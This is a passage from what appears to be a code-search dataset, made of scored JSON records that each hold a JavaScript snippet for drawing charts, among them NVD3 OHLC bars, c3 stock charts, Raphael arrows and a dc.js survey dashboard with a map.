y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) });\n //.order(); // not sure if this makes any sense for this model\n\n });\n\n return chart;\n }", "title": "" }, { "docid": "7a84a1517c233dd7401301dc3b3384e0", "score": "0.46831018", "text": "function chart(selection) {\n selection.each(function(data) {\n var availableWidth = width - margin.left - margin.right,\n availableHeight = height - margin.top - margin.bottom,\n container = d3.select(this);\n\n\n //------------------------------------------------------------\n // Setup Scales\n\n x .domain(xDomain || d3.extent(data[0].values.map(getX).concat(forceX) ));\n\n if (padData)\n x.range(xRange || [availableWidth * .5 / data[0].values.length, availableWidth * (data[0].values.length - .5) / data[0].values.length ]);\n else\n x.range(xRange || [0, availableWidth]);\n\n y .domain(yDomain || [\n d3.min(data[0].values.map(getLow).concat(forceY)),\n d3.max(data[0].values.map(getHigh).concat(forceY))\n ])\n .range(yRange || [availableHeight, 0]);\n\n // If scale's domain don't have a range, slightly adjust to make one... so a chart can show a single data point\n if (x.domain()[0] === x.domain()[1])\n x.domain()[0] ?\n x.domain([x.domain()[0] - x.domain()[0] * 0.01, x.domain()[1] + x.domain()[1] * 0.01])\n : x.domain([-1,1]);\n\n if (y.domain()[0] === y.domain()[1])\n y.domain()[0] ?\n y.domain([y.domain()[0] + y.domain()[0] * 0.01, y.domain()[1] - y.domain()[1] * 0.01])\n : y.domain([-1,1]);\n\n //------------------------------------------------------------\n\n\n //------------------------------------------------------------\n // Setup containers and skeleton of chart\n\n var wrap = d3.select(this).selectAll('g.nv-wrap.nv-ohlcBar').data([data[0].values]);\n var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-ohlcBar');\n var defsEnter = wrapEnter.append('defs');\n var gEnter = wrapEnter.append('g');\n var g = wrap.select('g');\n\n gEnter.append('g').attr('class', 'nv-ticks');\n\n wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');\n\n //------------------------------------------------------------\n\n\n container\n .on('click', function(d,i) {\n dispatch.chartClick({\n data: d,\n index: i,\n pos: d3.event,\n id: id\n });\n });\n\n\n defsEnter.append('clipPath')\n .attr('id', 'nv-chart-clip-path-' + id)\n .append('rect');\n\n wrap.select('#nv-chart-clip-path-' + id + ' rect')\n .attr('width', availableWidth)\n .attr('height', availableHeight);\n\n g .attr('clip-path', clipEdge ? 'url(#nv-chart-clip-path-' + id + ')' : '');\n\n\n\n var ticks = wrap.select('.nv-ticks').selectAll('.nv-tick')\n .data(function(d) { return d });\n\n ticks.exit().remove();\n\n\n var ticksEnter = ticks.enter().append('path')\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i)) - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n //.attr('fill', function(d,i) { return color[0]; })\n //.attr('stroke', function(d,i) { return color[0]; })\n //.attr('x', 0 )\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) })\n .on('mouseover', function(d,i) {\n d3.select(this).classed('hover', true);\n dispatch.elementMouseover({\n point: d,\n series: data[0],\n pos: [x(getX(d,i)), y(getY(d,i))], // TODO: Figure out why the value appears to be shifted\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n\n })\n .on('mouseout', function(d,i) {\n d3.select(this).classed('hover', false);\n dispatch.elementMouseout({\n point: d,\n series: data[0],\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n })\n .on('click', function(d,i) {\n dispatch.elementClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n })\n .on('dblclick', function(d,i) {\n dispatch.elementDblClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n });\n\n ticks\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n d3.transition(ticks)\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i))\n - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n //.attr('width', (availableWidth / data[0].values.length) * .9 )\n\n\n //d3.transition(ticks)\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) });\n //.order(); // not sure if this makes any sense for this model\n\n });\n\n return chart;\n }", "title": "" }, { "docid": "7a84a1517c233dd7401301dc3b3384e0", "score": "0.46831018", "text": "function chart(selection) {\n selection.each(function(data) {\n var availableWidth = width - margin.left - margin.right,\n availableHeight = height - margin.top - margin.bottom,\n container = d3.select(this);\n\n\n //------------------------------------------------------------\n // Setup Scales\n\n x .domain(xDomain || d3.extent(data[0].values.map(getX).concat(forceX) ));\n\n if (padData)\n x.range(xRange || [availableWidth * .5 / data[0].values.length, availableWidth * (data[0].values.length - .5) / data[0].values.length ]);\n else\n x.range(xRange || [0, availableWidth]);\n\n y .domain(yDomain || [\n d3.min(data[0].values.map(getLow).concat(forceY)),\n d3.max(data[0].values.map(getHigh).concat(forceY))\n ])\n .range(yRange || [availableHeight, 0]);\n\n // If scale's domain don't have a range, slightly adjust to make one... so a chart can show a single data point\n if (x.domain()[0] === x.domain()[1])\n x.domain()[0] ?\n x.domain([x.domain()[0] - x.domain()[0] * 0.01, x.domain()[1] + x.domain()[1] * 0.01])\n : x.domain([-1,1]);\n\n if (y.domain()[0] === y.domain()[1])\n y.domain()[0] ?\n y.domain([y.domain()[0] + y.domain()[0] * 0.01, y.domain()[1] - y.domain()[1] * 0.01])\n : y.domain([-1,1]);\n\n //------------------------------------------------------------\n\n\n //------------------------------------------------------------\n // Setup containers and skeleton of chart\n\n var wrap = d3.select(this).selectAll('g.nv-wrap.nv-ohlcBar').data([data[0].values]);\n var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-ohlcBar');\n var defsEnter = wrapEnter.append('defs');\n var gEnter = wrapEnter.append('g');\n var g = wrap.select('g');\n\n gEnter.append('g').attr('class', 'nv-ticks');\n\n wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');\n\n //------------------------------------------------------------\n\n\n container\n .on('click', function(d,i) {\n dispatch.chartClick({\n data: d,\n index: i,\n pos: d3.event,\n id: id\n });\n });\n\n\n defsEnter.append('clipPath')\n .attr('id', 'nv-chart-clip-path-' + id)\n .append('rect');\n\n wrap.select('#nv-chart-clip-path-' + id + ' rect')\n .attr('width', availableWidth)\n .attr('height', availableHeight);\n\n g .attr('clip-path', clipEdge ? 'url(#nv-chart-clip-path-' + id + ')' : '');\n\n\n\n var ticks = wrap.select('.nv-ticks').selectAll('.nv-tick')\n .data(function(d) { return d });\n\n ticks.exit().remove();\n\n\n var ticksEnter = ticks.enter().append('path')\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i)) - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n //.attr('fill', function(d,i) { return color[0]; })\n //.attr('stroke', function(d,i) { return color[0]; })\n //.attr('x', 0 )\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) })\n .on('mouseover', function(d,i) {\n d3.select(this).classed('hover', true);\n dispatch.elementMouseover({\n point: d,\n series: data[0],\n pos: [x(getX(d,i)), y(getY(d,i))], // TODO: Figure out why the value appears to be shifted\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n\n })\n .on('mouseout', function(d,i) {\n d3.select(this).classed('hover', false);\n dispatch.elementMouseout({\n point: d,\n series: data[0],\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n })\n .on('click', function(d,i) {\n dispatch.elementClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n })\n .on('dblclick', function(d,i) {\n dispatch.elementDblClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n });\n\n ticks\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n d3.transition(ticks)\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i))\n - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n //.attr('width', (availableWidth / data[0].values.length) * .9 )\n\n\n //d3.transition(ticks)\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) });\n //.order(); // not sure if this makes any sense for this model\n\n });\n\n return chart;\n }", "title": "" }, { "docid": "7a84a1517c233dd7401301dc3b3384e0", "score": "0.46831018", "text": "function chart(selection) {\n selection.each(function(data) {\n var availableWidth = width - margin.left - margin.right,\n availableHeight = height - margin.top - margin.bottom,\n container = d3.select(this);\n\n\n //------------------------------------------------------------\n // Setup Scales\n\n x .domain(xDomain || d3.extent(data[0].values.map(getX).concat(forceX) ));\n\n if (padData)\n x.range(xRange || [availableWidth * .5 / data[0].values.length, availableWidth * (data[0].values.length - .5) / data[0].values.length ]);\n else\n x.range(xRange || [0, availableWidth]);\n\n y .domain(yDomain || [\n d3.min(data[0].values.map(getLow).concat(forceY)),\n d3.max(data[0].values.map(getHigh).concat(forceY))\n ])\n .range(yRange || [availableHeight, 0]);\n\n // If scale's domain don't have a range, slightly adjust to make one... so a chart can show a single data point\n if (x.domain()[0] === x.domain()[1])\n x.domain()[0] ?\n x.domain([x.domain()[0] - x.domain()[0] * 0.01, x.domain()[1] + x.domain()[1] * 0.01])\n : x.domain([-1,1]);\n\n if (y.domain()[0] === y.domain()[1])\n y.domain()[0] ?\n y.domain([y.domain()[0] + y.domain()[0] * 0.01, y.domain()[1] - y.domain()[1] * 0.01])\n : y.domain([-1,1]);\n\n //------------------------------------------------------------\n\n\n //------------------------------------------------------------\n // Setup containers and skeleton of chart\n\n var wrap = d3.select(this).selectAll('g.nv-wrap.nv-ohlcBar').data([data[0].values]);\n var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-ohlcBar');\n var defsEnter = wrapEnter.append('defs');\n var gEnter = wrapEnter.append('g');\n var g = wrap.select('g');\n\n gEnter.append('g').attr('class', 'nv-ticks');\n\n wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');\n\n //------------------------------------------------------------\n\n\n container\n .on('click', function(d,i) {\n dispatch.chartClick({\n data: d,\n index: i,\n pos: d3.event,\n id: id\n });\n });\n\n\n defsEnter.append('clipPath')\n .attr('id', 'nv-chart-clip-path-' + id)\n .append('rect');\n\n wrap.select('#nv-chart-clip-path-' + id + ' rect')\n .attr('width', availableWidth)\n .attr('height', availableHeight);\n\n g .attr('clip-path', clipEdge ? 'url(#nv-chart-clip-path-' + id + ')' : '');\n\n\n\n var ticks = wrap.select('.nv-ticks').selectAll('.nv-tick')\n .data(function(d) { return d });\n\n ticks.exit().remove();\n\n\n var ticksEnter = ticks.enter().append('path')\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i)) - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n //.attr('fill', function(d,i) { return color[0]; })\n //.attr('stroke', function(d,i) { return color[0]; })\n //.attr('x', 0 )\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) })\n .on('mouseover', function(d,i) {\n d3.select(this).classed('hover', true);\n dispatch.elementMouseover({\n point: d,\n series: data[0],\n pos: [x(getX(d,i)), y(getY(d,i))], // TODO: Figure out why the value appears to be shifted\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n\n })\n .on('mouseout', function(d,i) {\n d3.select(this).classed('hover', false);\n dispatch.elementMouseout({\n point: d,\n series: data[0],\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n })\n .on('click', function(d,i) {\n dispatch.elementClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n })\n .on('dblclick', function(d,i) {\n dispatch.elementDblClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n });\n\n ticks\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n d3.transition(ticks)\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i))\n - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n //.attr('width', (availableWidth / data[0].values.length) * .9 )\n\n\n //d3.transition(ticks)\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) });\n //.order(); // not sure if this makes any sense for this model\n\n });\n\n return chart;\n }", "title": "" }, { "docid": "9144e154046a6f971130caf9a665bd01", "score": "0.46797183", "text": "generateCommonBuildChartData(labelsArray,datasetsArray){\n\n var buildChartData=new BuildChartData(labelsArray,datasetsArray);\n\n //getting stateDataMap\n var stateDataMap =new Map();\n stateDataMap=buildChartData.generateStateDataMap();\n\n //getting stateLabelsArray\n var stateLabelsArray=new Array();\n stateLabelsArray=buildChartData.generateStateLabelsArray();\n\n //for bar chart\n var barDatasetObjArray=buildChartData.generateBarDatasetWithColor(stateDataMap,stateLabelsArray);\n var barChart= new BarChart('bar',labelsArray,barDatasetObjArray);\n this.barCh = barChart.generateChart();\n\n //for line chart\n var lineDatasetObjArray=buildChartData.generateLineDatasetWithColor(stateDataMap,stateLabelsArray);\n var lineChart= new LineChart('line',labelsArray,lineDatasetObjArray);\n this.lineCh = lineChart.generateChart();\n\n //for stacked line chart\n var stackedLineDatasetObjArray=buildChartData.generateLineDatasetWithColor(stateDataMap,stateLabelsArray);\n var stackedChart= new StackedChart('line',labelsArray,stackedLineDatasetObjArray);\n this.stackedCh = stackedChart.generateChart();\n\n //for pie chart\n var pieDatasetObjArray=buildChartData.generatePieDatasetWithColor(stateDataMap,stateLabelsArray);\n var pieChart= new PieChart('pie',labelsArray,pieDatasetObjArray);\n this.pieCh = pieChart.generateChart();\n\n //for doughnut chart\n var dounutDatasetObjArray=buildChartData.generatePieDatasetWithColor(stateDataMap,stateLabelsArray);\n var doughnutChart= new DoughnutChart('doughnut',labelsArray,dounutDatasetObjArray);\n this.doughnutCh = doughnutChart.generateChart();\n }", "title": "" }, { "docid": "4487793013aa75543fb3e5fe0736f49d", "score": "0.46788943", "text": "createIndicatorElements(chart, indicator, index) {\n if (indicator.seriesName || indicator.dataSource) {\n findClipRect(indicator.targetSeries[0]);\n }\n let clipRect = new _syncfusion_ej2_svg_base__WEBPACK_IMPORTED_MODULE_1__[\"Rect\"](0, 0, 0, 0);\n if (indicator.seriesName || indicator.dataSource) {\n clipRect = indicator.targetSeries[0].clipRect;\n }\n const options = new RectOption(chart.element.id + '_ChartIndicatorClipRect_' + index, 'transparent', { width: 1, color: 'Gray' }, 1, {\n x: 0, y: 0, width: clipRect.width,\n height: clipRect.height\n });\n const clipRectElement = appendClipElement(chart.redraw, options, chart.renderer);\n //defines the clip rect element\n //creates the group for an indicator\n indicator.indicatorElement = chart.renderer.createGroup({\n 'id': chart.element.id + 'IndicatorGroup' + index,\n 'transform': 'translate(' + clipRect.x + ',' + clipRect.y + ')',\n 'clip-path': 'url(#' + chart.element.id + '_ChartIndicatorClipRect_' + index + ')'\n });\n indicator.indicatorElement.appendChild(clipRectElement);\n //Defines a group for each series in a technical indicator\n for (const series of indicator.targetSeries) {\n series.clipRectElement = clipRectElement;\n const element = series.chart.renderer.createGroup({\n 'id': series.chart.element.id + '_Indicator_' +\n indicator.index + '_' + series.name + '_Group'\n });\n indicator.indicatorElement.appendChild(element);\n series.seriesElement = element;\n }\n chart.indicatorElements.appendChild(indicator.indicatorElement);\n }", "title": "" }, { "docid": "5942ac514608f113ace045753dbe7f18", "score": "0.46776152", "text": "function createBezierS1(curves) {\r\n var b1 = BEZIER(S1)(curves);\r\n //var b1Map = MAP(b1)(domain2);\r\n //DRAW(b1Map)\r\n return b1;\r\n}", "title": "" }, { "docid": "5942ac514608f113ace045753dbe7f18", "score": "0.46776152", "text": "function createBezierS1(curves) {\r\n var b1 = BEZIER(S1)(curves);\r\n //var b1Map = MAP(b1)(domain2);\r\n //DRAW(b1Map)\r\n return b1;\r\n}", "title": "" }, { "docid": "04f03588e98959635c6cc5972a844392", "score": "0.46715656", "text": "function drawCliqueNetwork(total_players){\n for (var i = 1; i<=total_players; i++) {\n for (var j = 1; j<=total_players; j++) {\n network[i].push(j)\n }\n }\n}", "title": "" }, { "docid": "7ce8641240a06691d9275b27b6631163", "score": "0.46642068", "text": "function createIndicator() {\n const indicators = $('<div></div>')\n .addClass('dots')\n ;[1,2,3,4,].forEach(function(i) {\n $('<div></div>')\n .addClass('dot')\n .appendTo(indicators)\n })\n\n indicators.insertAfter('.header .title')\n return indicators\n }", "title": "" }, { "docid": "20a8d83bf05a67923c754c7f9135b35e", "score": "0.46627986", "text": "function createGraph(data) {\n var dates = [];\n var xvalues = [];\n sum = 0;\n avg = 0;\n var open = [\"Open\"];\n var high = [\"High\"];\n var low = [\"Low\"];\n var close = [\"Close\"];\n var average = [\"Moving Average\"];\n\n for (var i = 1;i < data.length-1; i++) {\n\n sum += parseFloat(data[i][4]);\n avg = sum/i;\n dates.push(data[i][0]);\n if (data[i][0].split(\"-\")[2]==\"01\")\n xvalues.push(data[i][0].split(\"-\")[1])\n else\n xvalues.push(\"\")\n open.push(data[i][1]);\n high.push(data[i][2]);\n low.push(data[i][3]);\n close.push(data[i][4]);\n average.push(avg)\n\n }\n\n var chart = c3.generate({\n bindto: '#chart',\n data: {\n columns: [\n open,high,low,close,average\n ]\n },\n axis: {\n x: {\n type: 'category',\n categories: dates\n }\n }\n });\n}", "title": "" }, { "docid": "144102ba457f5b13bdfb1e18ace94a83", "score": "0.46569115", "text": "function drawVertArrow(x1, y1, up) {\n\n\n var c = paper.set ();\n \n //c1 = paper.path( [\"M\", x1, y1, \"L\", x2, y2 ] );\n //c2 = paper.path( [\"M\", x1, y1, \"L\", y2, y2 ] );\n //c.push(c1, c2);\n\n\n var h = Math.abs(y1/2); // Math.sqrt( Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2) );\n\n if (up) { \n c3 = paper.path( [\"M\", x1, y1, \"L\", x1+h/5, y1+h/5 ] );\n c4 = paper.path( [\"M\", x1, y1, \"L\", x1-h/5, y1+h/5 ] ); \n c5 = paper.path( [\"M\", x1, y1, \"L\", x1, y1+3*h/5 ] ); \n\n c3.attr(pupil_attr);\n c4.attr(pupil_attr);\n c5.attr(pupil_attr);\n\n c.push(c3, c4, c5);\n return c;\n };\n\n if (!up) {\n \n c6 = paper.path( [\"M\", x1, y1, \"L\", x1+h/5, y1-h/5 ] );\n c7 = paper.path( [\"M\", x1, y1, \"L\", x1-h/5, y1-h/5 ] ); \n c8 = paper.path( [\"M\", x1, y1, \"L\", x1, y1-3*h/5 ] ); \n\n c6.attr(pupil_attr);\n c7.attr(pupil_attr);\n c8.attr(pupil_attr);\n\n c.push(c6, c7, c8);\n return c;\n }\n\n // c3 = paper.path( [\"M\", x1, y1, \"L\", x-h/30, y1-h/30 ] );\n // c4 = paper.path( [\"M\", x1, y1, \"L\", x+h/30, y1-h/30 ] );\n\n }", "title": "" }, { "docid": "5bacc8e24a5caa217827f68902c6585e", "score": "0.46553236", "text": "function generateCharts() {\n //var surveyData = crossfilter(data);\n\n var ethnicityChart = dc.rowChart('#ethnicity');\n // var occupationChart = dc.rowChart('#occupation');\n var householdStatusChart = dc.rowChart('#householdStatus');\n var genderChart = dc.pieChart('#gender');\n var ageChart = dc.barChart('#age');\n\n var whereChart = dc.leafletChoroplethChart('#map');\n\n var ethnicityDim = surveyData.dimension(function (d) {\n //console.log(d[\"#respondee+ethnicity\"]);\n return d[\"#respondee+ethnicity\"];\n });\n // var occupationDim = surveyData.dimension(function (d) {\n // return d[\"Occupation\"];\n // });\n var householdStatusDim = surveyData.dimension(function (d) {\n return d[\"#indicator+home_status\"];\n });\n var genderDim = surveyData.dimension(function (d) {\n return d[\"#respondee+gender\"];\n });\n var ageDim = surveyData.dimension(function (d) {\n return d[\"#respondee+age\"];\n });\n\n var mapDim = surveyData.dimension(function (d) {\n return d[\"#adm2+code\"];\n });\n var mapGroup = mapDim.group();\n\n var ethnicityGroup = ethnicityDim.group();\n // var occupationGroup = occupationDim.group();\n var householdStatusGroup = householdStatusDim.group();\n var genderGroup = genderDim.group();\n var ageGroup = ageDim.group();\n\n\n var all = surveyData.groupAll();\n\n //tooltip\n var rowtip = d3.tip().attr('class', 'd3-tip').html(function(d) { \n str = \"NA\";\n if (parseInt(d.value) > 5) {\n str = d.key+': '+d3.format('0,000')(d.value);\n }\n return str;\n }); \n\n\n ethnicityChart.width(sideChartWidth)\n .height(function () {\n return computeChartHeight(ethnicityGroup);\n })\n .margins(chartMargins)\n .fixedBarHeight(chartBarHeight)\n .gap(chartBarGap)\n .dimension(ethnicityDim)\n .group(ethnicityGroup)\n .data(function (group) {\n return group.top(Infinity);\n })\n .colors(blue)\n .elasticX(true)\n .renderTitle(false)\n .xAxis().ticks(5);\n\n\n // occupationChart.width(sideChartWidth)\n // .height(function () {\n // return computeChartHeight(occupationGroup);\n // })\n // .margins(chartMargins)\n // .fixedBarHeight(chartBarHeight)\n // .gap(chartBarGap)\n // .dimension(occupationDim)\n // .group(occupationGroup)\n // .data(function (group) {\n // return group.top(Infinity);\n // })\n // .colors(blue)\n // .elasticX(true)\n // .renderTitle(false)\n // .xAxis().ticks(0);\n\n householdStatusChart.width(sideChartWidth)\n .height(function () {\n return computeChartHeight(householdStatusGroup);\n })\n .margins(chartMargins)\n .fixedBarHeight(chartBarHeight)\n .gap(chartBarGap)\n .dimension(householdStatusDim)\n .group(householdStatusGroup)\n .data(function (group) {\n return group.top(Infinity);\n })\n .colors(blue)\n .elasticX(true)\n .renderTitle(false)\n .xAxis().ticks(5);\n\n var genderColors = d3.scale.ordinal().range([blue, blueLight]);\n\n genderChart.width(350)\n .height(250)\n .radius(100)\n .dimension(genderDim)\n .group(genderGroup)\n .colors(genderColors)\n .title(function(d) {\n return;\n });;\n\n ageChart.width(350)\n .height(250)\n .margins({ top: 0, right: 10, bottom: 80, left: 10 })\n .dimension(ageDim)\n .group(ageGroup)\n .colors(blue)\n .elasticX(true)\n .x(d3.scale.ordinal())\n .xUnits(dc.units.ordinal)\n .xAxis().ticks(5);\n\n whereChart.width($('#map').width())\n .height(350)\n .dimension(mapDim)\n .group(mapGroup)\n .zoom(0)\n .center([27.7, 85.2]) //katmandu 27.7096/85.2918\n .geojson(geom)\n .colors(['#DDDDDD', '#A7C1D3', '#71A5CA', '#3B88C0', '#056CB6'])\n .colorDomain([0, 4])\n .colorAccessor(function (d) {\n var c = 0\n if (d > 250) {\n c = 4;\n } else if (d > 150) {\n c = 3;\n } else if (d > 50) {\n c = 2;\n } else if (d > 0) {\n c = 1;\n };\n return c;\n\n })\n .featureKeyAccessor(function (feature) {\n return feature.properties['HLCIT_CODE'];\n }).popup(function (feature) {\n return feature.properties['DISTRICT'];\n });\n // .renderPopup(true);\n\n $('.viz-container').show();\n $('.loader').hide();\n generateDate();\n dc.renderAll();\n\n //tooltip events\n d3.selectAll('g.row').call(rowtip);\n d3.selectAll('g.row').on('mouseover', rowtip.show).on('mouseout', rowtip.hide); \n\n\n var map = whereChart.map();\n map.options.minZoom = 8;\n\n zoomToGeom(geom);\n\n function zoomToGeom(geom) {\n var bounds = d3.geo.bounds(geom);\n var bnds = [\n [26.91925778222094, 84.41872367235965],\n [28.752320805960494, 86.6860110153961] \n ];\n // map.fitBounds([\n // [bounds[0][1], bounds[0][0]],\n // [bounds[1][1], bounds[1][0]]\n // ]);\n map.fitBounds(bnds);\n }\n\n function drawSurveyChart(tpe,question,i){\n var chart = dc.rowChart('#'+tpe+i);\n var dim = surveyData.dimension(function(d){ \n return d[question]; \n });\n var grp = dim.group();\n\n chart.width(350)\n .height(function () {\n return computeChartHeight(grp);\n })\n .margins(chartMargins)\n .fixedBarHeight(chartBarHeight)\n .gap(chartBarGap)\n .dimension(dim)\n .group(grp)\n .data(function (group) {\n return group.top(Infinity);\n })\n .colors(green)\n .colorAccessor(function (d, i) {\n return 0;\n })\n .renderTitle(false)\n .elasticX(true)\n .xAxis().ticks(5);\n \n chart.render();\n\n\n //tooltip events\n d3.selectAll('g.row').call(rowtip);\n d3.selectAll('g.row').on('mouseover', rowtip.show).on('mouseout', rowtip.hide); \n }// end drawSurveyChart\n\n function generateSurveyCharts(selection){\n switch (selection) {\n case \"foodSecurity\":\n $('.surveycharts').html('<p>');\n\n for (k in foodSecDivs) {\n $('.surveycharts').append('<div class=\"col-sm-6\"><h5 style=\"width:350px;\">'+foodSecDivs[k].question+'</h5><div id=\"foodSecurity'+k+'\"></div></div>');\n drawSurveyChart('foodSecurity', foodSecDivs[k].tag, k);\n }\n break;\n case \"protection\":\n $('.surveycharts').html('<p>');\n\n for (k in protectionDivs) {\n $('.surveycharts').append('<div class=\"col-sm-6\"><h5 style=\"width:350px;\">'+protectionDivs[k].question+'</h5><div id=\"protection'+k+'\"></div></div>');\n drawSurveyChart('protection', protectionDivs[k].tag, k);\n }\n break;\n default:\n $('.surveycharts').html('<p>');\n\n for (k in reconstructionDivs) {\n $('.surveycharts').append('<div class=\"col-sm-6\"><h5 style=\"width:350px;\">'+reconstructionDivs[k].question+'</h5><div id=\"reconstruction'+k+'\"></div></div>');\n drawSurveyChart('reconstruction', reconstructionDivs[k].tag, k);\n }\n break;\n }\n\n } //end generateSurveyCharts\n\n $('document').ready(function(){\n generateSurveyCharts();\n\n });\n\n $('.surveySelectionMenu').on('change', function(e){\n var selectedSurvey = $('.surveySelectionMenu').val();\n generateSurveyCharts(selectedSurvey);\n });\n\n\n} // end generateCharts()", "title": "" }, { "docid": "2578a7a6ab4d8fcd138b0d6d385d9608", "score": "0.4654926", "text": "function makeButton() {\n // Knappen 